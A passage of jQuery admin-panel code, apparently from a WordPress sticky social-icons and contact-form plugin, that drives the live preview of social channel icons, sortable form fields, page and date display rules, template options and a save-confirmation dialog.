                var $social_icon_color = $('#social-' + social_channel + '-icon_color').val();
                var $social_icon_text = $('#social-' + social_channel + '-icon_text').val();
                var $social_icon_text_size = $('#social-' + social_channel + '-icon_text_size').val();
                if( $social_icon_text != '' ) {
                    var $social_icon_text_size_style = 'display: block;font-size: '+ $social_icon_text_size + 'px;';
                } else {
                    var $social_icon_text_size_style = 'display: none;font-size: '+ $social_icon_text_size + 'px;';
                }

                if( $('#social_channel_' + social_channel + '_desktop').prop("checked") == true ){
                    var social_channel_desktop_visible = ' element-desktop-on';
                }
                else {
                    var social_channel_desktop_visible = '';
                }

                if( $('#social_channel_' + social_channel + '_mobile').prop("checked") == true ){
                    var social_channel_mobile_visible = ' element-mobile-on';
                }
                else {
                    var social_channel_mobile_visible = '';
                }
				
                var social_channel_data = '<li id="mystickyelements-social-' + social_channel + '" class="mystickyelements-social-' + social_channel + '' + social_channel_desktop_visible + '' + social_channel_mobile_visible + ' mystickyelements-social-preview "><span class="mystickyelements-social-icon social-' + social_channel + '" style="background: ' +$social_bg_color + '; color: '+ $social_icon_color + '">' + $social_icon + '<span class="mystickyelements-icon-below-text" style="'+ $social_icon_text_size_style +'">'+ $social_icon_text +'</span></span>';

                if ( social_channel == 'line') {
                    social_channel_data += '<style>.mystickyelements-social-icon.social-'+ social_channel +' svg .fil1{fill: '+ $social_icon_color+'}</style>';
                }
                if ( social_channel == 'qzone') {
                    social_channel_data += '<style>.mystickyelements-social-icon.social-'+ social_channel +' svg .fil2{fill: '+ $social_icon_color+'}</style>';
                }
                social_channel_data +='</li>';

                $('ul.myStickyelements-preview-ul').append(social_channel_data);
            });

            setTimeout(function(){
                myStickyelements_mobile_count();
            }, 500);
        }       
        
        myStickyelements_mobile_count();
        
        function myStickyelements_mobile_count () {
            if( $( 'input[name="contact-form[desktop]"]' ).prop("checked") == true && $( '#myStickyelements-contact-form-enabled' ).prop("checked") == true ){
                jQuery( '#myStickyelements-preview-contact' ).addClass( 'element-desktop-on' );
            } else {
                jQuery( '#myStickyelements-preview-contact' ).removeClass( 'element-desktop-on' );
                jQuery( '#myStickyelements-preview-contact' ).removeClass( 'element-mobile-on' );
            }
            if( $( 'input[name="contact-form[mobile]"]' ).prop("checked") == true && $( '#myStickyelements-contact-form-enabled' ).prop("checked") == true ){
                jQuery( '#myStickyelements-preview-contact' ).addClass( 'element-mobile-on' );
            } else {
                jQuery( '#myStickyelements-preview-contact' ).removeClass( 'element-mobile-on' );
            }

            var mobile_bottom = 0;
            $('.mystickyelements-fixed ul li').each( function () {
                if ( $(this).hasClass('element-mobile-on') ){
                    mobile_bottom++;
                }
            });

            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-bottom-social-channel-\S+/g) || []).join(' ');
            });
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-top-social-channel-\S+/g) || []).join(' ');
            });
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-bottom-social-channel-' + mobile_bottom );
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-top-social-channel-' + mobile_bottom );
        }

        /* Sortable Contact Form Fields */
        jQuery( '#mystickyelements-contact-form-fields' ).sortable({
            items:'.mystickyelements-option-field',
            handle: ".mystickyelements-move-handle",
            cursor:'move',
            scrollSensitivity:40,
            placeholder: "mystickyelements-state-highlight",
            helper:function(e,ui){
                ui.children().each(function(){
                    jQuery(this).width(jQuery(this).width());
                });
                ui.css('left', '0');
                return ui;
            },
            start:function(event,ui){
                ui.item.css('background-color','#f9fcfc');
            },
            stop:function(event,ui){
                ui.item.removeAttr('style');
            }
        });

        $( "#mystickyelements-contact-form-fields" ).disableSelection();

        /* Open Contact form Dropdown Option popup */
        $(document).on('click','.contact-form-dropdown-popup',function(){
            $( '.contact-form-dropdown-open' ).show();
            $( 'body' ).addClass( 'contact-form-popup-open' );
        });
        
        $( '.contact-form-dropdfown-close' ).on( 'click', function () {
            $( '.contact-form-dropdown-open' ).hide();
            $( 'body' ).removeClass( 'contact-form-popup-open' );
        });
        
        
        /* Add Dropdown Option */
        $( '.add-dropdown-option' ).on( 'click', function () {
            $( '.contact-form-dropdown-option' ).append( '<div class="option-value-field ui-sortable-handle"><div class="move-icon"></div><input type="text" name="contact-form[dropdown-option][]" value=""/><span class="delete-dropdown-option"><i class="fas fa-times"></i></span></div>' );
        });
        /* Delete Dropdown Option */        
        $(document).on( "click", '.delete-dropdown-option' , function(e){
            $(this).closest('div').remove();
        });

        /*  Sortable Dropdown Option Value field*/
        jQuery( '.contact-form-dropdown-option' ).sortable({
            items:'.option-value-field',
            placeholder: "mystickyelements-state-highlight option-value-field",
            cursor:'move',
            scrollSensitivity:40,
            helper:function(e,ui){
                ui.children().each(function(){
                    jQuery(this).width(jQuery(this).width());
                });
                ui.css('left', '0');
                return ui;
            },
            start:function(event,ui){
                ui.item.css('background-color','#EFF6F6');
            },
            stop:function(event,ui){
                ui.item.removeAttr('style');
            }
        });

        if ( $( '#myStickyelements-minimize-tab' ).prop("checked") != true ) {
            $( '.myStickyelements-minimize-tab .wp-picker-container' ).hide();
            $( '.myStickyelements-minimized' ).hide();
        }

        if ( $( '#myStickyelements-contact-form-enabled' ).prop("checked") != true ) {
            $('.myStickyelements-contact-form-field-hide').hide();
            myStickyelements_mobile_count();
            $(".turn-off-message").css('display','block');
            $(".contact-form-description").css('display','none');
        }
        else{
            $(".turn-off-message").css('display','none');
            $(".contact-form-description").css('display','block');
        }

        $( '.myStickyelements-visible-icon input[type="checkbox"]' ).on( 'click', function() {
            var visible_id = $(this).attr('id');
            if( $(this).prop("checked") == true ){
                $( '.mystickyelements-' + visible_id ).removeClass( 'hide_field' );
            }else {
                $( '.mystickyelements-' + visible_id ).addClass( 'hide_field' );
            }
        });

        if ( $( '#myStickyelements-social-channels-enabled' ).prop("checked") != true ) {
            
            $('.social-disable-info').css('display','block');
            $('.mystickyelements-header-sub-title').css('display','none');
            $('.mystickyelements-disable-wrap').addClass('mystickyelements-disable');
            $('.mystickyelements-disable-wrap .myStickyelements-social-channels-info').hide();
            $('.mystickyelements-disable-content-wrap').css('display','block');
            $('.mystickyelements-social-preview').hide();
            $('#myStickyelements-preview-contact').addClass('mystickyelements-contact-last');
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-bottom-social-channel-\S+/g) || []).join(' ');
            });
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-top-social-channel-\S+/g) || []).join(' ');
            });
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-bottom-social-channel-1' );
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-top-social-channel-1' );
        }
        else{
            
            $('.mystickyelements-disable-wrap').remove('mystickyelements-disable');
            $('.mystickyelements-disable-wrap .myStickyelements-social-channels-info').show();
            $('.mystickyelements-disable-content-wrap').css('display','none');
            $('.social-disable-info').css('display','none');
            $('.mystickyelements-header-sub-title').css('display','block');
        }

        $( 'input[name="contact-form[desktop]"]' ).on( 'click', function(){
            if( $(this).prop("checked") == true ){
                jQuery( '#myStickyelements-preview-contact' ).addClass( 'element-desktop-on' );
            } else {
                jQuery( '#myStickyelements-preview-contact' ).removeClass( 'element-desktop-on' );
            }
        });
        $( 'input[name="contact-form[mobile]"]' ).on( 'click', function(){
            if( $(this).prop("checked") == true ){
                jQuery( '#myStickyelements-preview-contact' ).addClass( 'element-mobile-on' );
                myStickyelements_mobile_count();
            } else {
                jQuery( '#myStickyelements-preview-contact' ).removeClass( 'element-mobile-on' );
                myStickyelements_mobile_count();
            }
        });

        $( '#myStickyelements-minimize-tab' ).on( 'click', function () {
            if( $(this).prop("checked") == true ){
                $( '.myStickyelements-minimize-tab .wp-picker-container' ).show();
                $( '.myStickyelements-minimized' ).show();
                var position = $( 'input[name="general-settings[position]"]:checked' ).val();
                var position_arrow = '';
                if (position == 'left'){
                    position_arrow = '&larr;';
                } else {
                    position_arrow = '&rarr;';
                }
                var backgroud_color = $( '#minimize_tab_background_color' ).val();

                var minimize_content = "<li class='mystickyelements-minimize'><span class='mystickyelements-minimize minimize-position-"+ position +"' style='background: "+ backgroud_color +"'>"+position_arrow+"</span></li>";
                $( '.myStickyelements-preview-tab ul.myStickyelements-preview-ul li.mystickyelements-minimize' ).remove();
                $( ".myStickyelements-preview-tab ul.myStickyelements-preview-ul" ).prepend( minimize_content );
                $( '.myStickyelements-preview-tab ul.myStickyelements-preview-ul' ).removeClass( 'remove-minimize' );
            } else {
                $( '.myStickyelements-minimize-tab .wp-picker-container' ).hide();
                $( '.myStickyelements-minimized' ).hide();
                $( '.myStickyelements-preview-tab ul.myStickyelements-preview-ul li.mystickyelements-minimize' ).remove();
                $( '.myStickyelements-preview-tab ul.myStickyelements-preview-ul' ).addClass( 'remove-minimize' );
            }
            mystickyelements_border_radius();
        });

        $( '#myStickyelements-contact-form-enabled' ).on( 'click', function () {
            $('.myStickyelements-contact-form-field-hide').toggle();
        });

        $('.button-social-popup-disable').on('click',function(){
            $('.mystickyelements-social-preview').toggle();
            $('#myStickyelements-preview-contact').toggleClass('mystickyelements-contact-last');
            $('.mystickyelements-header-sub-title').css('display','none');
            $('.social-disable-info').css('display','block');
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-bottom-social-channel-\S+/g) || []).join(' ');
            });
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-top-social-channel-\S+/g) || []).join(' ');
            });
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-bottom-social-channel-1' );
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-top-social-channel-1' );
        
            
            $('#socialform-status-popup').hide();   
            $('#mystickyelement-social-popup-overlay').hide();
        });

        $( '#myStickyelements-social-channels-enabled' ).on( 'click', function () {
                
                if ($(this).prop("checked") != true) {
                    $('#socialform-status-popup').show();   
                    $('#mystickyelement-social-popup-overlay').show();
                } else {
                    $('.mystickyelements-social-preview').toggle();
                    $('#myStickyelements-preview-contact').toggleClass('mystickyelements-contact-last');
                    $('.social-disable-info').css('display','none');
                    $('.mystickyelements-header-sub-title').css('display','block');
                    myStickyelements_mobile_count();
                }
                
                mystickyelements_disable_section( 'mystickyelements-tab-social-media', 'myStickyelements-social-channels-enabled' );
        });

        var total_page_option = 0;
        var page_option_content = "";
        total_page_option   = $( '.myStickyelements-page-options' ).length;
        page_option_content = $( '.myStickyelements-page-options-html' ).html();
        $( '.myStickyelements-page-options-html' ).remove();
        $( '#remove-page-rules' ).on( 'click', function(){
            var rule_id = $( this ).data('wrap');
            $('#myStickyelements-page-options').hide();
            $('#remove-page-rules').hide();
            $( this ).prev().show();
            $( '.' + rule_id ).removeClass( 'rule-active' );
        });
        $( '#create-rule' ).on( 'click', function(){
            $('#remove-page-rules').show();
            var append_html = page_option_content.replace(/__count__/g, total_page_option, page_option_content);
            total_page_option++;
            $( '.myStickyelements-page-options' ).toggle();
            $( '.myStickyelements-page-options .myStickyelements-page-option' ).removeClass( 'last' );
            $( '.myStickyelements-page-options .myStickyelements-page-option:last' ).addClass( 'last' );

            if( $( '.myStickyelements-page-option .upgrade-myStickyelements' ).length > 0 ) {
                $( this ).hide();
            }
            
            var topPos = jQuery(".show-on-apper").offset().top - jQuery(window).scrollTop() - 700;
            topPos = Math.abs(topPos);
            var finalpos = $( '.mystickyelements-wrap' ).position().top + topPos;
            jQuery(".myStickyelements-preview-tab").css("margin-top", ((-1)*finalpos)+"px");
            set_rule_position();

            var window_width = $( window ).width();
            var dir = $("html").attr("dir");
			
            if (dir === 'rtl') {                
                
				var adminmenuwrap = $( '#adminmenuwrap' ).width();
                var more_setting_rows_width = ( $( '.more-setting-rows' ).width() - $( '.myStickyelements-show-on-right' ).width() );
                var remain_width = window_width - more_setting_rows_width - adminmenuwrap - 60;
                $( '.myStickyelements-page-options' ).width( remain_width );    
            
            } else {
                var show_right_pos = $( '.myStickyelements-show-on-right' ).offset().left;
                var remain_width = window_width - show_right_pos - 20;
                $( '.myStickyelements-page-options' ).width( remain_width );    
            }

            var rule_id = $( this ).data('wrap');
            $( '.' + rule_id ).addClass( 'rule-active' );
        });
        
        $( '#remove-data-and-time-rule' ).on( 'click', function(){
            var rule_id = $( this ).data('wrap');
            $('#myStickyelements-days-hours-options').hide();
            $('#remove-data-and-time-rule').hide();
            $( this ).prev().show();
            $( '.' + rule_id ).removeClass( 'rule-active' );
        });
        $( '#create-data-and-time-rule' ).on( 'click', function(){
            $('#remove-data-and-time-rule').show();
            $( '.myStickyelements-days-hours-options' ).toggle();
            if( $( '.myStickyelements-page-option .upgrade-myStickyelements' ).length > 0 ) {
                $( this ).hide();
            }
            
            var topPos = jQuery(".show-on-apper").offset().top - jQuery(window).scrollTop() - 700;
            topPos = Math.abs(topPos);
            var finalpos = $( '.mystickyelements-wrap' ).position().top + topPos;
            jQuery(".myStickyelements-preview-tab").css("margin-top", ((-1)*finalpos)+"px");
            set_rule_position();

            var window_width = $( window ).width();         
            var dir = $("html").attr("dir");
            if (dir === 'rtl') {                
                var adminmenuwrap = $( '#adminmenuwrap' ).width();
                var more_setting_rows_width = ( $( '.more-setting-rows' ).width() - $( '.myStickyelements-show-on-right' ).width() );
                var remain_width = window_width - more_setting_rows_width - adminmenuwrap - 60;
                $( '.myStickyelements-days-hours-options' ).width( remain_width );  
            
            } else {
                var show_right_pos = $( '.myStickyelements-show-on-right' ).offset().left;
                var remain_width = window_width - show_right_pos - 20;
                $( '.myStickyelements-days-hours-options' ).width( remain_width );  
            }

            var rule_id = $( this ).data('wrap');
            $( '.' + rule_id ).addClass( 'rule-active' );
        });
        
        $( '#remove-traffic-add-other-source' ).on( 'click', function(){            
            $('#remove-traffic-add-other-source').hide();
            $('.traffic-source-option').hide();
            $('#remove-traffic-add-other-source').hide();
            $( this ).prev().show();
        });
        
        $( '#traffic-add-other-source' ).on( 'click', function(){
            $('#remove-traffic-add-other-source').show();
            $( '.myStickyelements-traffic-source-inputs' ).toggle();
            //$( this ).css( 'margin-top', '10px' );
            if( $( '.myStickyelements-traffic-source-inputs .upgrade-myStickyelements' ).length > 0 ) {
                $( this ).hide();
            }
            set_rule_position();
        });
        
        $( document ).on( 'click', '#myStickyelements-page-options .myStickyelements-remove-rule', function() {
           //$( this ).closest( '.myStickyelements-page-option' ).remove();
           $( '.myStickyelements-page-options' ).hide();
            $( '.myStickyelements-page-options .myStickyelements-page-option' ).removeClass( 'last' );
            $( '.myStickyelements-page-options .myStickyelements-page-option:last' ).addClass( 'last' );
            $('#remove-page-rules').hide();
            $( '#create-rule' ).show();
        });
        
        $( document ).on( 'click', '#myStickyelements-days-hours-options .myStickyelements-remove-rule', function() {
            $( '.myStickyelements-days-hours-options' ).hide();
            $('#remove-data-and-time-rule').hide();
            $( '#create-data-and-time-rule' ).show();
        });
        check_for_preview_pos();
        $(window).on( 'scroll', function(){
            check_for_preview_pos();
        });

        $( document ).on( 'change', '.myStickyelements-url-options', function() {
            var current_val = jQuery( this ).val();
            var myStickyelements_siteURL = jQuery( '#myStickyelements_site_url' ).val();
            var myStickyelements_newURL  = myStickyelements_siteURL;
            if( current_val == 'page_has_url' ) {
                myStickyelements_newURL = myStickyelements_siteURL;
            } else if( current_val == 'page_contains' ) {
                myStickyelements_newURL = myStickyelements_siteURL + '%s%';
            } else if( current_val == 'page_start_with' ) {
                myStickyelements_newURL = myStickyelements_siteURL + 's%';
            } else if( current_val == 'page_end_with' ) {
                myStickyelements_newURL = myStickyelements_siteURL + '%s';
            }
            $( this ).closest( '.url-content' ).find( '.myStickyelements-url' ).text( myStickyelements_newURL );
        });

        set_rule_position();
        $( window ).on( 'scroll', function(){
            set_rule_position();
        });

        $("#myStickyelements-inputs-position-on-screen").on( 'change', function() {
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-position-screen-\S+/g) || []).join(' ');
            });
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-position-screen-' + $(this).val() );
        });
        $("#myStickyelements-widget-size").on( 'change', function() {
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-size-\S+/g) || []).join(' ');
            });
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-size-' + $(this).val() );
        });
        $("#myStickyelements-widget-mobile-size").on( 'change', function() {
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-mobile-size-\S+/g) || []).join(' ');
            });
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-mobile-size-' + $(this).val() );
        });

        $("#myStickyelements-entry-effect").on( 'change', function() {
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass('entry-effect');
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-entry-effect-\S+/g) || []).join(' ');
            });
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-entry-effect-' + $(this).val() );
            setTimeout( function(){
                $(".myStickyelements-preview-tab .mystickyelements-fixed").addClass('entry-effect');
            }, 1000 );

        });

        $("#myStickyelements-inputs-templete").on( 'change', function() {
            $(".myStickyelements-preview-tab .mystickyelements-fixed").removeClass (function (index, className) {
                return (className.match (/(^|\s)mystickyelements-templates-\S+/g) || []).join(' ');
            });
            $( '.myStickyelements-preview-tab .mystickyelements-fixed' ).addClass( 'mystickyelements-templates-' + $(this).val() );
            social_icon_live_preview_color_css();

            if ( jQuery(this).val() != 'default' && jQuery( '.preview-mobile' ).hasClass('preview-active') == true ) {
                jQuery( '#myStickyelements_mobile_templete_desc' ).show();
                $('#myStickyelements_mobile_templete_desc').fadeOut(500);
                $('#myStickyelements_mobile_templete_desc').fadeIn(500);
            } else {
                jQuery( '#myStickyelements_mobile_templete_desc' ).hide();
            }
            if( jQuery( this ).val() != 'default' ) {
                $( '.mystickyelements-icon-below-text' ).hide();
            } else {
                $( '.mystickyelements-icon-below-text' ).show();
                $( '.myStickyelements-preview-ul li' ).each( function(){
                    if ( $( this ).find( '.mystickyelements-icon-below-text' ).is(':empty') ){
                      $( this ).find( '.mystickyelements-icon-below-text' ).hide();
                    }
                } );
            }
        });

        $( '.mystickyelements-fixed' ).addClass( 'entry-effect' );

        /* FontAwesome icon formate in select2 */
        function stickyelement_iconformat(icon) {
            var originalOption = icon.element;
            return $('<span><i class="' + icon.text + '"></i> ' + icon.text + '</span>');
        }

        $('.social-channel-fontawesome-icon').select2({
                                                    allowClear: true,
                                                    templateSelection: stickyelement_iconformat,
                                                    templateResult: stickyelement_iconformat,
                                                    allowHtml: true
                                                });
        
        $(document).on( "change", '.social-channel-fontawesome-icon' , function(e){
            var social_channel = $(this).data('slug');
            var social_tooltip_text = social_channel.replace( '_', ' ' );
            $('ul.myStickyelements-preview-ul li span.social-' + social_channel).html('<i class="' + $(this).val() + '"></i>');
            $('.social-channels-item .social-channel-input-box .social-' + social_channel ).html('<i class="' + $(this).val() + '"></i><span class="social-tooltip-popup">' + social_tooltip_text + '</span>');
            if($(this).val() != '') {
                $('#social-channel-' + social_channel + '-custom-icon').val('');
                $('#social-channel-' + social_channel + '-icon').hide();
                $('#social-channel-' + social_channel + '-custom-icon-img').attr( 'src', '');
                $('#social-channel-' + social_channel + '-icon').parent().removeClass( 'myStickyelements-custom-image-select' );
            }
            mystickyelements_border_radius();
        });
        mystickyelements_border_radius();
        
        /*Confirm dialog*/
        $( '.mystickyelements-wrap p.submit input#submit' ).on( 'click', function(e){
            var icon_below_text_apper = 0;
            var mystickyelement_save_confirm_status = $( 'input#mystickyelement_save_confirm_status' ).val();
            $( '.mystickyelements-fixed ul li' ).each( function(){
                var icon_below_text_val = $( this ).find( '.mystickyelements-icon-below-text' ).text();
                if ( icon_below_text_val != '' ){
                  icon_below_text_apper = 1;
                  return false;
                }
            } );
            if ( jQuery("#myStickyelements-inputs-templete").val() != 'default' && icon_below_text_apper && mystickyelement_save_confirm_status == '' ) {
                e.preventDefault();
                $( "#mystickyelement-save-confirm" ).dialog({
                    resizable: false,
                    modal: true,
                    draggable: false,
                    height: 'auto',
                    width: 600,
                    buttons: {
                        "Publish": {
                            click:function () {
                                $( 'input#mystickyelement_save_confirm_status' ).val('1');
                                $( '.mystickyelement-wrap p.submit input#submit' ).trigger('click');
                                $( this ).dialog('close');
                            },
                            text: 'Publish',
                            class: 'purple-btn'
                        },
                        "Keep Editing": {
                             click:function () {
                                $( this ).dialog( 'close' );
                            },
                            text: 'Keep Editing',
                            class: 'gray-btn'
                        }
                    }
                });
            }
            //return false;
        } );
        
        /*social search*/
        
        $( ".myStickyelements-social-search-wrap input" ).on( "keyup", function() {
            var search_value = $( this ).val().toLowerCase();
            $( ".myStickyelements-social-channels-lists li" ).filter(function() {
              $( this ).toggle( $( this ).data( "search" ).toLowerCase().indexOf( search_value ) > -1 );
            });
            
            if( search_value.length == 0 ){
				$(".myStickyelements-social-channels-lists-section").animate({height:'190'});
			}

        });
        
        $(document).on( "change", ".social-custom-channel-type" , function(e){
            var csc_name = $(this).val();
            var csc_id   = $(this).data('id');
            var csc_slug     = $(this).data('slug');
            var csc_option = $('option:selected', this).data('social-channel');
            
            $('#' + csc_id + ' .social-channel-input-box .social-channels-list').addClass('custom-channel-type-list');
            $('#' + csc_id + ' .social-channel-input-box .social-channels-list').removeClass (function (index, className) {
                return (className.match (/(^|\s)social-\S+/g) || []).join(' ');
            });
            $('#' + csc_id + ' .social-channel-input-box .custom-channel-type-list').addClass('social-channels-list');
            $('#' + csc_id + ' .social-channel-input-box .custom-channel-type-list').addClass(csc_slug);
            $('#' + csc_id + ' .social-channel-input-box .social-channels-list').addClass('social-'+ csc_name);
            
            $('#' + csc_id + ' .social-channel-input-box .social-channels-list').css( 'background', csc_option.background_color);
            $('.mystickyelements-social-icon.' + csc_slug ).css('background', csc_option.background_color );            
            $('.mystickyelements-social-icon.' + csc_slug +' i').removeClass();
            $('.mystickyelements-social-icon.' + csc_slug +' i').addClass(csc_option.class);
            $('.mystickyelements-social-icon.' + csc_slug ).addClass('social-'+ csc_name);          
            
            $('#' + csc_id + ' .social-channel-input-box .social-channels-list i').removeClass();
            $('#' + csc_id + ' .social-channel-input-box .social-channels-list i').addClass(csc_option.class);
            
            
            $('#' + csc_id + ' .social-channel-input-box .social-channels-list .social-tooltip-popup').text(csc_option.hover_text);
            
            $('#' + csc_id + ' .social-channel-input-box input[type="text"]').attr('placeholder',csc_option.placeholder);
                        
            $('#' + csc_id + ' .social-channel-setting .myStickyelements-on-hover-text input[type="text"]').val(csc_option.hover_text);
            $('#' + csc_id + ' .social-channel-setting .myStickyelements-background-color input[type="text"].mystickyelement-color.wp-color-picker').val(csc_option.background_color);
            
            $('#' + csc_id + ' .social-channel-setting .myStickyelements-background-color .button.wp-color-result').css('background-color',csc_option.background_color);
            
            /* Hide*/
            if ( csc_name == 'custom' ) {
                $('#' + csc_id + ' .myStickyelements-custom-icon-image').show();
            } else {
                $('#' + csc_id + ' .myStickyelements-custom-icon-image').hide();
            }
            
            if (csc_option.is_pre_set_message == 1) {
                $('#' + csc_id + ' .social-channel-setting .myStickyelements-custom-pre-message').show();
            } else {
                $('#' + csc_id + ' .social-channel-setting .myStickyelements-custom-pre-message').hide();
            }
            
        });
        
        $( '#contact-form-send-leads' ).on( 'change', function(){
            
            if ( $('#contact-form-send-leads option:selected').data('href') != '' && $(this).val() != 'database'  ) {
                window.open( $( '#contact-form-send-leads option:selected' ).data('href') , '_blank');
            }
        });
        
        $( '.mystickyelements-turnit-on' ).on( 'click', function () {
            var mystickyelements_turnit = $( this ).data( 'turnit' );
            $( '#' + mystickyelements_turnit ).trigger( 'click' );
        });

        $( '#success-popup-overlay' ).on( 'click', function(event){
            var url = $(this).data('id');
            $( '.stickyelement-action-popup-open' ).hide();
            $( this ).hide();
            location.href = url
            event.stopPropagation();
        });

        $( '#send_leads_database' ).on( 'click', function(){
            $( '.contactform-sendleads-upgrade-popup, #contactform_sendleads_popup_overlay' ).show();
            $('.mystickyelements-intro-popup ').hide();
            $( this ).prop( 'checked', true );
        });
        
        if ( jQuery("input[name='general-settings[open_tabs_when]']:checked").val() == "click" ) {
            $('#mystickyelements-tab-hover-bebahvior').hide();
            $('#mystickyelements-tab-flyout').show();
        }else{
            $('#mystickyelements-tab-hover-bebahvior').show();
            $('#mystickyelements-tab-flyout').hide();
        }
		
		//hide_more_channel_list();
		$(document).on( "click", '#myStickyelements-more-social' , function(e){
			$( this ).toggleClass( 'more-less-btn-change' );
			$( '.myStickyelements-social-channels-lists' ).toggleClass( 'more-less-channel-change' );

			if( $( '.myStickyelements-social-channels-lists' ).hasClass( 'more-less-channel-change' ) ) {
				//$( '.myStickyelements-social-channels-lists li' ).show();	
				var ulHeight = $(".myStickyelements-social-channels-lists").height() + 30;	
				$(".myStickyelements-social-channels-lists-section").animate({height:ulHeight});
			} else {
				$(".myStickyelements-social-channels-lists-section").animate({height:'210'});
			}

			if( $( this ).hasClass( 'more-less-btn-change' ) ) {
				$( '.mystickyelement-more-less-channel a span' ).text( 'Show Less Channels' );
			} else {
				$( '.mystickyelement-more-less-channel a span' ).text( 'Show More Channels' );
			}
		} );
    });
	
	function hide_more_channel_list() {
		jQuery( '.myStickyelements-social-channels-lists li' ).each( function(){
			var order_css = jQuery( this ).css( 'order' );
			if( order_css > 20 ) {
				jQuery( this ).hide();
			}
		} );
	}
    $( window ).on('load',function () {
		console.log("yyyy");
        $( '.myStickyelements-url-options' ).each( function(){          
            $( this ).trigger( 'change' );
        })
        
        $('.more-setting-rows').css('display','none');
        $('#submit').css('display','none');
        
        var widget_status = $('.mystickyelements-preivew-below-sec').data('id');
        if(widget_status == 0){
            $('.preview-publish').hide();
            $('#save_view').hide();
                $('.save-button').hide();
        }
        else{
            
            $('.preview-publish').html( 'Save' );
            $('.preview-publish').val('Save');
        }
    });
	
    function check_for_preview_pos() {
		if($( '.mystickyelements-tabs-wrap' ).length != 0 ){
		
			var tab_pos_top = $( '.mystickyelements-tabs-wrap' ).offset().top;
			if( jQuery(window).scrollTop() > 80 ) {
				jQuery(".myStickyelements-preview-tab").css("top", "100px");
				jQuery( '.mystickyelements-tabs' ).addClass( 'mystickyelements-tab-sticky' );
				var tab_height = jQuery( '.mystickyelements-tabs' ).outerHeight( true );
				jQuery( '.mystickyelements-form' ).css( 'padding-top', tab_height );
				jQuery( '.mystickyelements-tabs span.mystickyelements-tabs-subheading' ).hide();
			} else {
				jQuery(".myStickyelements-preview-tab").css("top", tab_pos_top + "px");
				jQuery( '.mystickyelements-tabs' ).removeClass( 'mystickyelements-tab-sticky' );
				jQuery( '.mystickyelements-form' ).css( 'padding-top', '' );
				jQuery( '.mystickyelements-tabs span.mystickyelements-tabs-subheading' ).show();
			}
			
			if(jQuery(".show-on-apper").length && jQuery(".myStickyelements-preview-tab").length && jQuery( '#mystickyelements-display-settings' ).hasClass( 'active' )) {
				var widget_title = 0;
				if ( jQuery('.myStickyelements-widget-title').length){
					widget_title = jQuery(".show-on-apper").outerHeight() + 10;
				}

				var topPos = jQuery(".show-on-apper").offset().top - jQuery(window).scrollTop() - 700;
				if (topPos < 0 && $( ".show-on-apper" ).hasClass('rule-active')) {
					topPos = Math.abs(topPos);
					var finalpos = $( '.mystickyelements-wrap' ).position().top + topPos;
					jQuery(".myStickyelements-preview-tab").css("margin-top", ((-1)*finalpos)+"px");
				} else {
					jQuery(".myStickyelements-preview-tab").css("margin-top", "0");
				}
			} else {
				jQuery(".myStickyelements-preview-tab").css("margin-top", "0");
			}
			
			if(jQuery(".show-on-apper-main").length && ! $( ".show-on-apper" ).hasClass('rule-active')) {
				var widget_title = 0;
				if ( jQuery('.myStickyelements-widget-title').length){
					widget_title = jQuery(".show-on-apper-main").outerHeight() + 10;
				}

				var topPos = jQuery(".show-on-apper-main").offset().top - jQuery(window).scrollTop() - 600;
				if (topPos < 0) {
					topPos = Math.abs(topPos);
					var finalpos = $( '.mystickyelements-wrap' ).position().top + topPos;
					jQuery(".myStickyelements-preview-tab").css("margin-top", ((-1)*finalpos)+"px");
				} else {
					jQuery(".myStickyelements-preview-tab").css("margin-top", "0");
				}
			}
		}
    }

    function set_rule_position() {
        var dir = $("html").attr("dir") ;
        if (dir === 'rtl') {
            var rt = ($( '.myStickyelements-content-section tr:first-child .myStickyelements-inputs' ).position().left - $( '.myStickyelements-minimized .myStickyelements-inputs' ).outerWidth()) + 12;
            $( '#create-rule, #create-data-and-time-rule' ).css( 'margin-right', rt + 'px' );
        } else {
            if ($( '.myStickyelements-content-section tr:first-child .myStickyelements-inputs' ).length != 0 ) {
                var right_element_pos = $( '.myStickyelements-content-section tr:first-child .myStickyelements-inputs' ).position().left;
                var create_rule_pos = $( '#create-rule' ).position().left;
                var remain_rule_pos = right_element_pos - create_rule_pos;
                $( '#create-rule, #create-data-and-time-rule' ).css( 'margin-left', remain_rule_pos + 'px' );
            }
        }

    }

    function social_icon_live_preview_color_css() {
        $('.myStickyelements-preview-ul li.mystickyelements-social-preview').each( function () {
            var current_icon_color = $(this).find('span.mystickyelements-social-icon').get(0).style.backgroundColor;
